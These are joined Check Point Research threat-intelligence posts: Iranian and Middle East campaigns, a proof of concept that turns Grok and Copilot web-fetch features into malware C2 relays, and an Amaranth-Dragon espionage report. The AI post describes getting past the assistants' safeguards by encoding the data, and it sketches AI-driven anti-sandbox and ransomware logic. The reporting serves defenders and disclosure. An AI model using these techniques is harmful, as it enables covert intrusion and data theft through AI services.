StealthFalcon, however, is not unique. Throughout 2025, we identified additional activity clusters that stood out in terms of their behavior and tradecraft. We came across one of them while tracking high-profile sample submitters in the Middle East. The activity consisted of a cluster of suspicious TIFF (an image file format for storing raster graphic images) files that contained embedded ELF payloads aimed at Android devices.

Our analysis indicated the files were exploiting a vulnerability, later disclosed as CVE-2025-21042, in the way Samsung parses TIFF/DNG files. Based on the tradecraft, infrastructure overlaps, and recurring keywords like “Bridge Head,” we assess the operator to be a private sector offensive actor. Additional research into the same activity, called LANDFALL, reached similar conclusions. We saw indications the campaign affected targets in Iraq, Iran, Turkey, Bahrain, Morocco and Pakistan.

Iranian Activity

Israeli-Iranian War: Targeting Cameras

During the twelve-day Israeli–Iranian war in June, threat actors largely stuck to their familiar playbooks, primarily using spear phishing campaigns to deploy wipers and backdoors. One standout trend we observed was a sharp increase in attempts to compromise specific Israeli cameras by exploiting CVE-2023-6895 and CVE-2017-7921 via infrastructure we associate with Iranian actors.

In several major conflicts in recent years, compromising internet-connected cameras proved to be an effective way to support bombing damage assessment (BDA) by providing near–real-time visibility into strike impacts. This wave targeting Israeli cameras appears to fit that pattern and aligns with prior public disclosures by Israeli officials that Iran-nexus actors seek access to private CCTV feeds to assess the accuracy of their missile strikes and refine subsequent targeting efforts.

Figure 14 – Spike in cameras targeting in Israel.

MuddyWater Password Spray in Israeli Municipality

In late June, a successful password spray activity originating from a Nord VPN infrastructure affected a municipal government in Israel. One month later, we observed a successful login attempt from the same attacker infrastructure to an email account which then sent spear phishing emails to recipients in Israel.

The phishing email contained an embedded link, hxxps[:]//pharmacynod[.]com/join/join.html, used as a decoy invitation to join a Teams conversation. The landing page is a ClickFix page that tricks the user into pasting a PowerShell script into the Run dialog and executing it. This script is a RAT which initially collects information about the infected machine and can execute arbitrary PowerShell commands received from the command and control server. This script’s obfuscation method aligns with previous PowerShell backdoors associated with MuddyWater.

Figure 15 – MuddyWater ClickFix Teams lure.

Nimbus Manticore Activity in Africa

We recently uncovered a long-running campaign that we attribute to Nimbus Manticore, an IRGC-affiliated actor active across the region and parts of Europe. What we observed highlights this actor’s evolution: while continuing to lean on familiar phishing themes, the actor has also begun deploying more sophisticated malware, making himself something of an outlier compared to much of the broader Iranian threat landscape.

As we continue to track this operation, we’ve observed renewed activity targeting Northeast Africa, impersonating T-Mobile with a fake hiring website careerst-mobile[.]com and using similar tradecraft which suggests the campaign remains active and adaptable.

Figure 16 – Renewed Nimbus Manticore phishing activity targeting Africa with impersonated T-Mobile site.

Iran-Nexus Wipers

Throughout the year, multiple Iran-aligned actors targeted Israel with disruptive campaigns involving wipers and ransomware. These operations, often at least partly opportunistic, are designed to interfere with the day-to-day functioning of Israeli organizations. Among the most prominent groups behind this activity are Void Manticore (Handala Hack) and Cotton Sandstorm, carrying out attacks using ‘WhiteLock’ ransomware, deployed after WezRat infostealer.

Figure 17 – ‘WhiteLock’ ransomware chat server.

One such campaign, likely conducted by Handala, involved a phishing email sent to hundreds of organizations across Israel. The messages were delivered from a compromised account belonging to an Israeli CRM solution provider. Recipients were instructed to “back up” their files by downloading a malicious .msi installer (6eb7dbf27a25639c7f11c05fd88ea2a301e0ca93d3c3bdee1eb5917fc60a56ff) hosted on Mega file share. When executed, the installer deployed a wiper that iterates over user file folders and overwrites files with spaces. In parallel, a malicious PowerShell script changed the user’s desktop wallpaper to display a political message tied to the Israeli-Hamas war.

WIRTE: Espionage and Sabotage

At the end of 2024, we published research connecting a wave of destructive activity in Israel, known as ‘Cyber Toufan Al-Aqsa’, to WIRTE, a Hamas-associated threat actor. In 2025, the group continued its destructive operations with new variants of SameCoin wiper, while also running parallel campaigns aimed at Arabic-speaking political entities across the Middle East, with a particular focus on Jordan and Egypt.

In these campaigns, targets are lured into downloading a malicious archive (1f3bd755de24e00af2dba61f938637d1cc0fbfd6166dba014e665033ad4445c0) from a Dropbox URL. After the archive is extracted, the victim is presented with a benign Microsoft binary and a decoy file bearing an Arabic-language filename, which the user is prompted to open. That execution triggers DLL side-loading, pulling in a malicious DLL that serves as a loader. It also exfiltrates Base64‑encoded host information to a remote C2 server, and downloads and executes an additional payload, most commonly Havoc. In recent activity, the attacker used DigitalOcean-hosted infrastructure for C2 instead of the Cloudflare-backed setup that featured in previous longer-running operations.

Figure 18 – Wirte Arabic-language lure.

Conclusion

Looking back at 2025, the threat landscape became more crowded, messy, and increasingly interconnected. Across different regions, we saw state-backed groups, private offensive actors, and high-end cybercrime operating side by side, sometimes even within the same networks. Zero-days, cloud-focused intrusions, and well-crafted phishing are no longer just rare outliers; we observed them repeatedly in multiple attacks as practical, reliable ways to get results.

At the same time, many of the campaigns we uncovered show that novelty often lies less in entirely new tooling and more in how familiar techniques are combined and deployed. Actors reused infrastructure, malware frameworks, and social engineering themes, but adapted them to new targets, regions, and operational goals. In several cases, incomplete or internal-only research threads offered insight into how attackers test ideas, quietly iterate, and refine their approach over time.

Ultimately, these observations reinforce the need for sustained visibility, collaboration, and context-driven research. Threat actors continue to invest where impact matters most, while opportunistic campaigns exploit gaps that are overlooked or left unpatched. By sharing these stories, both the well-known and the previously untold, we hope to contribute to a clearer picture of attackers’ behavior and help strengthen collaboration between security researchers and vendors moving forward.

The post 2025: The Untold Stories of Check Point Research appeared first on Check Point Research.

Key Points

• Check Point Research (CPR) has discovered that certain AI assistants that support web browsing or URL fetching can be abused as covert command-and-control relays (“AI as a proxy”), allowing attacker traffic to blend seamlessly into legitimate, commonly permitted enterprise communications.
• This technique was demonstrated against platforms such as Grok and Microsoft Copilot, leveraging anonymous web access combined with browsing and summarization prompts
• The same mechanism can also enable AI-assisted malware operations, including generating reconnaissance workflows, scripting attacker actions, and dynamically deciding “what to do next” during an intrusion.
• CPR outlines a near-term evolution in malware development, where implants shift from static logic to prompt-driven, adaptive behavior that can autonomously plan operations, prioritize targets and data, and adjust tactics in real-time based on environmental feedback.

Introduction

AI is rapidly becoming embedded in day-to-day enterprise workflows, inside browsers, collaboration suites, and developer tooling. As a result, AI service domains increasingly blend into normal corporate traffic, often allowed by default and rarely treated as sensitive egress. Threat actors are already capitalizing on this shift. Across the malware ecosystem, AI is being used to accelerate development and operations: generating and refining code, drafting phishing content, translating lures, producing PowerShell snippets, summarizing stolen data, assisting operators with next decisions during an intrusion, and, in extreme cases, developing full C2 frameworks such as Voidlink. The practical outcome is simple: AI reduces cost and time-to-scale, and helps less-skilled actors execute more complex playbooks.

But the next step is more consequential: AI isn’t only helping attackers write malware, it can become part of the malware’s runtime. In AI-Driven malware, the implant’s behavior is shaped dynamically by model output. Instead of relying solely on hardcoded decision trees, an implant can collect host context such as environment artifacts, user role indicators, installed software, domain membership, and geography, and use a model to triage victims, choose actions, prioritize data, and adapt tactics. This prompt-driven approach can make campaigns more flexible and harder to predict, especially as it shifts decision-making away from static code and toward external reasoning.In this research, Check Point Research demonstrates a concrete building block that connects these trends: AI assistants with web-browsing and URL-fetch capabilities can be abused as covert command-and-control relays, effectively using AI as a C2 proxy. We show how Grok and Microsoft Copilot can be driven through their web interfaces to fetch attacker-controlled URLs and return responses, creating a bidirectional channel that tunnels victim data out and commands back in. Crucially, this can work without an API key or a registered account, reducing the effectiveness of traditional kill switches such as key revocation or account suspension.

We then connect the technique to the broader trajectory: once AI services can be used as a stealthy transport layer, the same interface can also carry prompts and model outputs that act as an external decision engine, a stepping stone toward AI-Driven implants and AIOps-style C2 that automate triage, targeting, and operational choices in real time.

AI-Driven (AID) Malware

AI-Driven malware is malware that uses an AI model as part of its runtime decision loop, not just during development. Instead of executing a fixed, preprogrammed flow, the implant collects local signals from the infected host and uses a model to interpret them and decide what to do next. In practice, the model output can influence which capabilities are activated, which targets or data are prioritized, how aggressive the malware should be, and whether the host is worth continuing to operate on. This shifts part of the malware’s logic from static code into model-driven, context-aware behavior, which can make campaigns more adaptive and less predictable than traditional rule-based decision trees.

A useful way to think about AID malware is that the model becomes an external or internal decision engine. The implant provides a compact “situation report” (environment artifacts, user and domain context, installed software, file and process metadata, observed security controls, and other host indicators) and receives back guidance that can shape subsequent execution. Over time, this enables behavior that is more tailored per-host, can change across infections without code changes, and can reduce repeatable patterns that defenders often rely on for signatures and sandbox detonation.

There are two primary integration approaches:

1. API-based integration

• The malware interacts with a remote model or agent through an API. That model can be hosted by a mainstream provider, a niche platform, or attacker-controlled infrastructure running an agent. This approach is operationally flexible and keeps the implant lightweight, but it introduces network dependencies and creates telemetry that defenders may be able to hunt for. It can also create a potential kill switch if the workflow depends on revocable credentials, unless the actor can blend or relay the traffic through intermediate layers.

2. Embedded model

• The model is packaged locally, either inside the binary or as a bundled component. This removes the need for external inference calls and can reduce network exposure, but it increases payload size and resource requirements, and makes model updates harder. In real-world terms, embedded approaches trade operational convenience for stealth and independence from external services.

AI Agent As A C2 Proxy

Abusing legitimate services for C2 is not new. We’ve seen it with Gmail, Dropbox, Notion, and many others. The usual downside for attackers is how easily these channels can be shut down: block the account, revoke the API key, suspend the tenant. Directly interacting with an AI agent through a web page changes this. There is no API key to revoke, and if anonymous usage is allowed, there may not even be an account to block.

Our proposed attack scenario is quite simple: an attacker infects a machine and installs a piece of malware. Then the malware communicates directly with either Grok or Copilot through the web interface, sending a prompt that causes the AI agent to issue an HTTP(S) request to an attacker-controlled URL, retrieve content from that site, and return the attacker’s response via the AI output back to the malware.

Web App PoC

To test if our attack scenario is possible, we have set up two basic requirements:

• No authentication requirement: zero restrictions on the request, no account, no API key.
• Arbitrary web fetch with data in and out: the AI must be able to fetch a website we control, carry data in query parameters, and return content from that site in its response.

We found two AI providers that meet these requirements: Grok and Copilot. There were some minor restrictions, such as not being able to send data to direct IPs or plain HTTP, so we set up a fake HTTPS website to serve as our C2 server. We registered a domain, deployed a simple site, and in the spirit of things, let AI help us generate the entire thing.

The result is a Siamese cat fan club website. One of the pages is a “breed comparison” page. For example, we can ask Copilot at https://copilot.microsoft.com to summarize that page; no account is needed. The same applies to Grok at https://grok.com.

Now, in a real attack scenario, we would want to send data to the C2 (for example, the result of system reconnaissance on the infected machine) and receive data back (a command or at least an acknowledgment). That’s easy: we append the data, in some structured format, to the URL’s query parameters. There do appear to be safeguards: if we make it too obvious that we’re sending clearly malicious or sensitive data, some services try to block or sanitize it. However, simply encrypting or encoding the data in a high-entropy blob is enough to bypass these checks.

On the server side, we set up a breed comparison table, comparing different cat breeds. But one can’t really compare a cat breed without knowing what the cat breed’s “favorite Windows command to execute” is. For “stealth”, we made the page only display this command column when the my_breed_data URL parameter is present. We instruct the AI to visit the page and “return the cat’s favorite Windows command” based on a pattern embedded in the HTML.

As shown in the image, both Grok and Copilot gladly followed up on our prompt, fetched our site, and returned a response containing the command we planted. Of course, in a real attack, this command (or the whole payload) could be further encoded or encrypted to avoid triggering any model-side safeguards.

This demonstrates the feasibility of implementing the behavior end-to-end in a browser with no logged-in user. The next question is: how would actual malware do this from software, without relying on a visible browser window or any human interaction?

WebView Instead of API

Confirming that the technique works in a regular browser is one thing. Making it usable from malware is another. For our PoC, we set ourselves a constraint: get it working in C++, without relying on a direct API key or random HTTP requests to the AI provider’s website. Sending raw HTTP requests that don’t look like a normal browser session is more likely to hit rate limits, CAPTCHA, or behavioral checks. Instead, we decided to emulate a browser from within our C++ program.

For that, we used WebView2, an embedded browser component that lets native Windows apps display and interact with web content. The WebView2 runtime is preinstalled on all Windows 11 systems and has been broadly rolled out to modern Windows 10 versions via updates. Even if it’s missing, an attacker could bundle it with the malware or download it on first run.

Using WebView, we created a quick PoC: a C++ program that opens a WebView pointing to either Grok or Copilot. From there, we have two slightly different flows:

• Grok: Once the page is loaded, we can inject our prompt directly into the q parameter in the URL, and Grok will automatically follow our prompt without any further steps.
• Copilot: the flow is a bit trickier and uses JavaScript inside the loaded page to submit the prompt to the Copilot UI.

Either way, it works. Our program does the following:

1. Enumerate some basic information about the machine.
2. Append it to the URL of our fake Siamese cat C2 site
3. Open a (hidden) WebView window to the AI provider’s website.
4. Ask the AI to fetch and “summarize” that URL.
5. Parse the AI’s response and act on the embedded command.

WebView is just one example of how to do this in C++. Other platforms and languages have similar embedded browser controls that can achieve the same goal.

The PoC we created is intentionally simple, but it can easily be extended to behave more like real-world malware. In a full implementation, the implant could first send host enumeration data and register itself with the C2 server. The C2 server could then instruct the backdoor to sleep, collect additional information, check in at a later time, download further payloads, or execute arbitrary commands. None of this would be difficult to achieve once we have demonstrated that a bidirectional communication channel between malware and a C2 server can be established through an AI agent. Once the PoC was functional, we responsibly disclosed these findings to the Microsoft security team and the xAI security team.

Many More Possibilities

This technique is one example of how a threat actor can abuse an AI web app by using it as a proxy for C2, but it is far from the only option. The same interface could be used to request AI-generated commands to locate files, enumerate the system, search for sensitive data, or generate PowerShell code to move laterally across the network. Instead of relying on a skilled human operator, malware could directly task an AI agent for what to do next.

Beyond direct command generation, an attacker could also rely on AI to handle decision-making logic that is usually embedded in the malware itself. For example, an implant might send a short description of the host (domain, user role, installed software, geography) and ask the AI whether this system is worth further exploitation, which tools to deploy next, or how aggressively to move laterally without raising suspicion. The agent’s response would then shape the rest of the campaign, effectively turning the AI into a remote “brain” for the malware.

In the rest of this article, we focus on broader AI-Driven (AID) malware concepts and how future campaigns may integrate AI into their decision-making and operations. Our goal is not just to highlight one clever C2 trick, but to show how the same building blocks, web-accessible AI agents, and flexible prompts evolve into full AI-assisted attack workflows.

(Near)-Future AI-Driven Malware

While current AI-Driven (AID) threats have not yet been utilized in an optimal way, the practical impact of AID malware or AI-assisted attacks remains limited, largely experimental, inconsistent, or easily replicable using traditional decision-tree logic.

However, we can identify at least one major area where AI could become pivotal in the future: data analysis and infection targeting. AI has the potential to dramatically accelerate the identification of valuable data within compromised systems, the prioritization of targets, and the optimization of infection spread. By automating reconnaissance and decision-making steps that currently require human effort, AI could enable attackers to execute campaigns much faster and with greater precision. This capability, when it matures, could mark a significant turning point in how cyberattacks are conducted, shifting the balance between speed, accuracy, and scale in favor of malicious operators.

The three future AI use cases mentioned below represent the scenarios we believe will genuinely advance threat actors’ capabilities. At the core of these developments lies one central concept: data analysis and infection targeting.

As some of these techniques may already be implemented, we assess that in the near future, the methods described below will be expanded upon and widely adopted by threat actors, particularly those capable of leveraging advanced AI-driven capabilities.

AID – Anti-Sandbox Technique

The majority of modern malware families are designed to collect detailed system information from infected machines. This typically includes data such as the username, domain name, computer name, installed software, running processes, startup programs, and other environment details. Such reconnaissance allows the malware to better understand its execution context, whether it’s operating within a corporate network, a sandbox, or a personal device, and to adjust its behavior accordingly.

A potential future scenario involves a Remote Access Trojan (RAT), infostealer, Loader, or similar type of malware leveraging an AI model or API as part of its operational logic. In this case, the malware could utilize a predefined prompt combined with system data it has already collected and send this information to an AI service. The AI agent would then analyze the data and determine the likelihood that the environment is a real target or a sandbox used for malware analysis.

This method could function as an advanced AI anti-sandbox and environment validation technique. Instead of relying solely on hardcoded checks or local heuristics, the malware could offload the decision-making process to a remote AI system. If the AI’s response indicated “no sandbox detected,” the malware could proceed to execute its full capabilities, including data exfiltration, persistence installation, and communication with its C&C.

If malware begins to outsource environment verification to AI services, detecting and attributing infections will become significantly harder. An AI-Driven validation step can cause sandboxes and automated analysis tools to fail to trigger malicious behavior, because the payload may remain dormant until a remote model confirms the host is a “real” target. As a result, traditional signature- and sandbox-based detection pipelines may produce fewer observable indicators, while telemetry that would normally reveal malicious activity may never appear in analyst environments. This reduces the visibility defenders rely on and increases the chance that sophisticated campaigns slip through initial analysis windows.

AID – Command and Control Servers

While communicating with an AI API endpoint or embedding a model locally can generate noisy telemetry, a more subtle application of AI could occur at the Command and Control. C&C servers could use AI to automatically identify and categorize compromised hosts. For example, an AI-Driven triage step might discard obvious sandboxes and withhold second-stage payloads from those hosts.

Beyond sandbox detection, AI applied at the C&C could score victims based on available PII. This enables prioritization of follow-on actions and lateral movement. Once AI determines that an infection is a high-value target (such as corporate accounts or servers), the bot will receive different commands from the C&C, and distinct workflows will be applied to this infection, including a notification to prioritize the “manual” lateral movement. In the other case, the C&C might deploy a simple miner to a low-value victim, as further actions might not be of interest to the threat actor.

Another potential implementation would mirror the concept of MCP servers, but instead of integrating various red-teaming tools, the attacker could connect an existing malware family directly to an MCP server.

AID – Ransomware, Wipers & Data Exfiltration

The same concept used to identify valuable users or high-value targets can also be applied to files. An AI model could score which files are worth encrypting or exfiltrating based on metadata (file names, sizes, creation and modification timestamps, paths, …), as well as their content. By prioritizing high-value files, an attacker can accelerate encryption or data theft while generating far fewer I/O events, thereby reducing the likelihood of triggering volume-based alarms and increasing the chances of ignoring decoy or bait files.

Many ransomware detection workflows in XDRs rely on volume or rate thresholds and therefore only declare malicious activity after a sizable number of files have been encrypted. If an attacker limits activity to a much smaller, carefully chosen pool of files, this can undermine those heuristics and create detection gaps.

In a notable 2022 analysis, Splunk researcher Shannon Davis measured the time it takes several prominent ransomware families to encrypt large volumes of data, reporting times that ranged from a couple of minutes for the fastest families to several hours for slower ones. These experiments showed that some ransomware variants can encrypt ~100 GB in a matter of minutes.

The worrying question for AI-Driven ransomware is straightforward: What if an attacker does not need to encrypt 100 GB to achieve their objective? If an AID payload can prioritize and target only a small set of high-value files (for example, critical databases, business documents, or encryption keys) using model-driven scoring, the time to accomplish effective damage could be dramatically less than the bulk-encryption numbers. In other words, targeted encrypt-and-extort campaigns could succeed in seconds or minutes while generating far fewer observable file-I/O events. The same dynamics apply to data exfiltration, where ransomware groups frequently steal sensitive data and then publish it on their onion sites or leak it on their leak blogs.

Advanced persistent threat (APT) actors customize their malware and prompts to fit the target’s profile, infrastructure, and the value of the data they expect to find. For example, attackers focused on defense contractors, research labs, or critical infrastructure operators will prioritize reconnaissance and payloads that can discover, collect, and exfiltrate technical schematics, classified reports, or proprietary designs. Ignoring unwanted documents that could potentially cause high-volume data exfiltration.

AID wipers may target specific files instead of everything to take down a specific machine. Or wipers may avoid taking down the machine and instead target specific programs, making various processes unusable.

(Near)-Future AI-Driven Campaigns

While we previously discussed how AI-Driven (AID) malware could eventually find its optimal use cases, this section outlines how such implementations may realistically occur. Although AID Embedded-Model malware offers superior stealth, as no input or output is observable by external AI providers (such as OpenAI, Anthropic, and Gemini), we believe that AID API-Based implementations will likely be preferred. This is primarily due to practicality, embedding or bundling a model significantly increases the binary size, which usually goes against the common preference for lightweight payloads. Currently, there is a growing number of AI platforms advertising malicious capabilities, such as FraudGPT, EvilAI, MalwareGPT, etc., which could theoretically be used to power API-based AID malware. However, from a defensive standpoint, these connections are relatively easy to detect just by blacklisting known malicious domains. For an AID API-based approach to achieve real stealth, threat actors would need to employ AI proxy servers to relay requests to these malicious AI platforms. This setup would conceal direct communication with the malicious AI service, making network detection challenging. Alternatively, attackers could host their own local AI model on a remote server. In that case, the server would operate more like an AIOps Command and Control Server (AIOps-C&C) rather than a mere proxy, enabling AI-assisted decision-making and automation while keeping communication hidden within the attacker’s infrastructure.

Conclusion

AI assistants are no longer just productivity tools; they are becoming part of the infrastructure that malware can abuse. In this research, we showed how Grok and Microsoft Copilot can be driven through their web interfaces and abused as covert C2 relays, without any API keys or user accounts. By combining a simple “C2 website” with a WebView2-based C++ implant, we demonstrated a full end-to-end path in which victim data flows out via URL query parameters, and attacker commands flow back in through AI-generated responses.

More importantly, this is not a one-off trick. Any AI service that exposes web fetch or browsing capabilities, especially to anonymous users, inherits a similar level of abuse potential. Today, that may look like a creative way to hide C2 in “normal” AI traffic. Tomorrow, the same pattern can evolve into fully AI-Driven malware and AIOps-style C2, where models help decide which hosts to keep, which files to steal or encrypt, and when to stay dormant to avoid sandboxes and detection.

This is a service-abuse class of issue, not a traditional memory corruption bug. Mitigations, therefore, require changes on both sides. AI providers need to harden web-fetch features, enforce authentication, and give enterprises greater control and visibility into how their models access external URLs. Defenders need to start treating AI domains as high-value egress points, monitor for automated and unusual usage patterns, and incorporate AI traffic into their hunting and incident response playbooks.

As AI continues to integrate into everyday workflows, it will also integrate into attacker workflows. Understanding how these systems can be misused today is the first step toward hardening them for the future, and ensuring that AI remains more useful to defenders than to the malware that tries to hide behind it.

The post AI in the Middle: Turning Web-Based AI Services into C2 Proxies & The Future Of AI Driven Attacks appeared first on Check Point Research.

Key Points

• Check Point Research (CPR) has been tracking Amaranth-Dragon, a nexus of APT-41, previously aligned with Chinese interests. The group launched highly targeted cyber-espionage campaigns throughout 2025 against government and law enforcement agencies in Southeast Asia.
• We observed overlaps between Amaranth-Dragon and APT-41’s arsenal, suggesting a possible connection or shared resources between them. Further analysis of file compilation and campaign timelines suggests the group operates in UTC+8 (China Standard Time).
• Attack themes and lure documents often coincide with significant local geopolitical events, increasing the likelihood of successful compromise.
• Less than ten days after the WinRAR vulnerability (CVE-2025-8088) was disclosed, Amaranth-Dragon introduced malicious RAR archives into their campaigns, exploiting this vulnerability and ultimately achieving code execution and persistence on victim systems.
• The group utilizes legitimate hosting services (e.g., Dropbox) and Amaranth Loader, a custom tool to deliver encrypted payloads, primarily deploying the Havoc C2 Framework. Command and Control servers are protected by Cloudflare and configured to respond only to IP addresses from targeted countries, minimizing collateral infections and increasing campaign stealth.
• A new tool was added to their arsenal, which we track as TGAmaranth RAT. The Telegram-based remote access trojan features anti-EDR and anti-AV capabilities and uses a Telegram bot as its command and control server.

Introduction

Check Point Research has identified several campaigns targeting multiple countries in the Southeast Asian region. These related activities have been collectively categorized under the codename “Amaranth-Dragon”. The campaigns demonstrate a clear focus on government entities across the region, suggesting a motivated threat actor with a strong interest in geopolitical intelligence. The campaigns frequently target law enforcement agencies, particularly the police, and often appear to be timed or themed around ongoing local political events.

The attacks are performed by the Chinese group we track as Amaranth-Dragon. A previously unknown loader we call Amaranth Loader shares similarities with tools such as DodgeBox, Dustpan and Dusttrap associated with the Chinese hacking group known as APT-41 (FBI’s most wanted cybercriminal groups), suggesting a connection or shared resources between the groups.

Their Command and Control (C&C) servers were protected behind Cloudflare, configured to accept traffic only from IP addresses within the specific country or countries targeted in each operation. Once executed, the Amaranth loader retrieves an encrypted payload, decrypts it using AES, and executes it directly in memory.

The payload most commonly deployed is the Havoc Framework, an open-source Command and Control (C&C) platform used for authorized security assessments such as penetration testing and red teaming. In legitimate contexts, Havoc enables security professionals to deploy, manage, and interact with post-exploitation agents within environments they are permitted to test.

While the initial delivery method remains uncertain, the targeted nature of the attacks suggests the use of malicious emails containing weaponized attachments. The initial file is a RAR archive exploiting CVE-2025-8088, which allows the attackers to execute arbitrary code by crafting malicious archive files.

CVE-2025-8088

The vulnerability affects WinRAR and was disclosed on August 8, 2025. A publicly available exploit tool for this vulnerability was released on GitHub on August 14, 2025. Later, on August 18, 2025, Amaranth-Dragon leveraged this vulnerability for the first time in their campaigns.

CVE-2025-8088 is a path traversal vulnerability affecting the Windows version of WinRAR that allows attackers to execute arbitrary code.

By crafting the malicious RAR file, the threat actors can drop a file into the Startup folder and achieve indirect code execution upon system reboot.

Amaranth-Dragon Campaigns

Since March 2025, Check Point Research has identified several campaigns attributed to Amaranth-Dragon. The campaigns have targeted several Southeast Asian countries, including Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines. It is highly probable that additional campaigns have targeted other countries in the region; however, the highly targeted nature of these operations makes it difficult to obtain further indicators of compromise (IoCs).

Each campaign typically targets one or two countries and is coordinated around geopolitical or local events. The archive file was typically hosted by legitimate providers like Dropbox. The archive contained multiple files, including a malicious DLL, the Amaranth loader, which was sideloaded by a legitimate executable. Often, the compilation timestamp aligns with the campaign date.

Upon execution, the Amaranth loader contacts a designated URL to retrieve an AES encryption key. The AES key is retrieved from Pastebin or hosted on the group’s server, however, there were some campaigns where the key was embedded in the loader. The key is then used to decrypt an encrypted payload retrieved from a secondary URL owned by this group.

Their infrastructure enforces strict targeting. If an infected victim attempts to access the payload URL from an IP address outside the designated target country, the server responds with HTTP 403 Forbidden, preventing the payload from being delivered and effectively blocking unintended infections.

This geo-restriction mechanism has allowed us to reliably determine the specific country targeted in each campaign, based on which IP ranges are permitted to access the C&C.

The names of these campaigns and the loader were inspired by the Pastebin account that hosted the AES key for multiple operations. The account amaranthbernadine has been observed across several campaigns, each containing different pastes.

Some of these campaigns also exploited CVE‑2025‑8088, which potentially allowed the threat actor to drop a script file (CMD or BAT) into the Startup folder and achieve code execution upon reboot. The script executed the Amaranth Loader by sideloading it, which then downloaded, decrypted, and executed the Havoc C2 Framework in memory.

Campaigns Timeline

March 19, 2025, Cambodia

The first discovered campaign, dated March 19, 2025, appears to have targeted Cambodia, as indicated by the file name CNP_MFA_Meeting_Documents.zip. Specifically, the Cambodia National Police and/or the Ministry of Foreign Affairs were targets. At that time, the group did not exploit the CVEs as they had not yet been disclosed. Instead, the attackers used ZIP archives containing script files, such as .lnk and .bat, to decrypt and execute the Amaranth loader.

April 28, 2025, Cambodia

The second campaign, which took place on April 28, 2025, once again targeted Cambodia with an updated version of the Amaranth loader. The URL downloading the encrypted Havoc payload indicated the targeted country, drive.easyboxsync[.]com/resources/channels/v7/cambodia64.

July 3, 2025, Thailand & Laos

The third campaign was the last observed campaign without the CVE being exploited to deliver the malicious script that maintains persistence on the system and executes the Amaranth loader. This campaign targeted Thailand and Laos on July 3, 2025.

August 18, 2025, Indonesia

During the fourth campaign, which began on August 18, 2025, the group targeted Indonesia with the archive filename SK_GajiPNS_Kemenko_20250818.rar, which translates to “Official Decision (SK) regarding the Salary (Gaji) of Civil Servants (PNS) working in Coordinating Ministries (Kemenko)”. Notably, Indonesia increased the salary of Civil Servants by 8% starting from August 1, 2025. Therefore, such a filename could lure victims into opening and executing the received file. During this campaign, we observed the group exploiting CVE-2025-8088 for the first time to drop a malicious .bat file into the Startup folder, establishing persistence on the victim machine. The vulnerability had been disclosed by the vendor ten days before the campaign occurred, and the first public exploit appeared on GitHub four days prior to that.

September 5, 2025, Indonesia

In the campaign targeting Indonesia, which began on September 5, 2025, we observed that the Amaranth loader was not deployed. Instead, the attackers used a fully functional RAT that leveraged a Telegram bot as its C&C, retrieved PII (Personal Identifiable Information) and executed remote commands. The initial .rar file, Proposal_for_Cooperation_3415.05092025.rar, does not indicate any specific targeted entities. In September, several events took place that were likely connected, but we were unable to establish a definitive link between them.

September 15, 2025, Thailand, Singapore & Philippines

In the sixth campaign, the C&C server only accepted connections from Thailand, Singapore, and the Philippines, while blocking all other regions. The deployed shellcode was the Havoc C2 Framework. We are not certain of the exact date the campaign took place, as the compilation timestamp suggests September 4, 2025, while we first saw it on September 15, 2025. Based on the filename FSTR_HADR.zip .The campaign may reference two events:

1. Falcon Strike 2025, China‑Thailand Joint Air Force Exercise from 19–25 September 2025 in Thai airspace.
2. HADR operations Philippine Army – Royal Thai Army from 11–12 September 2025.

Between September 29 and October 10, we discovered another campaign themed Training_Program, which appeared to target Thailand and Singapore using the Amaranth loader.

October 15, 2025, Philippines

The last two campaigns, identified between October 15 and 23, 2025, targeted the Philippines. The first of those two campaigns, with the name OAS-2025-111.10_Minutes_Template_Salary_and_Bonus_Meeting, attempted to download the file @MrPresident_001_bot.rar. However, we were unable to retrieve it due to its very short-lived availability period.

October 23, 2025, Philippines

The last campaign targeted the Philippines Coast Guard, with the name PCG 124th Anniversary Event Documents Office of the President 23102025, coinciding with the 124th anniversary of the founding of the Philippine Coast Guard.

Playing with Time

During the latest campaign targeting the Philippine Coast Guard, we determined the group’s operational timezone using VirusTotal submissions, ZIP files, and Amaranth loader Compilation Timestamps.

Zip file:

Filename: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

2025-10-23 08:25:58 UTC     VT First Submission                  

Zip Contents:
2025-10-22 15:07:56         __MACOSX
2025-10-22 16:24:20         __MACOSX/.vcredist.rar
2025-10-23 16:03:50         124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
2025-10-23 16:03:56         PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2025-10-23 16:05:30         __MACOSX/ZoomWorkspace.bat

Amaranth loader:

2025-10-22 08:23:07 UTC     DllSafeCheck64.dll (Compilation Timestamp)      

The campaign provides a mix of timestamps, with two in UTC and the rest in the group’s local time zone.

During this campaign, the Amaranth loader (DLL) was embedded inside a password-protected archive named .vcredist.rar. This RAR file was added to the ZIP archive at 2025-10-22 16:24 in the group’s local time, while the DLL was compiled on the same day at 08:23 UTC. It is reasonable to assume that the malicious file was added to the RAR archive shortly after compilation (a difference of one minute and 13 seconds). In this case, the group’s operating timezone appears to be UTC+8, which aligns with China’s single standard timezone.

The latest modification time of the ZIP file is close to the campaign’s start on 2025-10-23 (first submission). The ZIP was submitted at 08:25:58 UTC, but the latest file inside shows 16:05:30 ”local time”, again indicating an 8-hour time difference. This suggests that the group added the .bat file shortly before launching the campaign.

Campaign Analysis – Philippines Coast Guard, 2025-10-23

The campaign was initiated on October 23, 2025, using the theme of the Philippines Coast Guard’s 124th Anniversary, which took place that same day. The group impersonated the “Office of the President” as part of their social engineering tactics.

During this campaign, we did not observe the use of the CVE-2025-8088 vulnerability.

Zip File: 495cb43f3c2e3abd298a3282b1cc5da4d6c0d84b73bd3efcc44173cca950273c
Name: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

Hash                                   Path
----                                   ----
3602E70D4CD1CD60C4ACCB4772ED685A       124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
0DEEA95B6C5418DBD85305F19E799794       PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2BB9E462385773E8023B21516F332078       \\__MACOSX\\.vcredist.rar
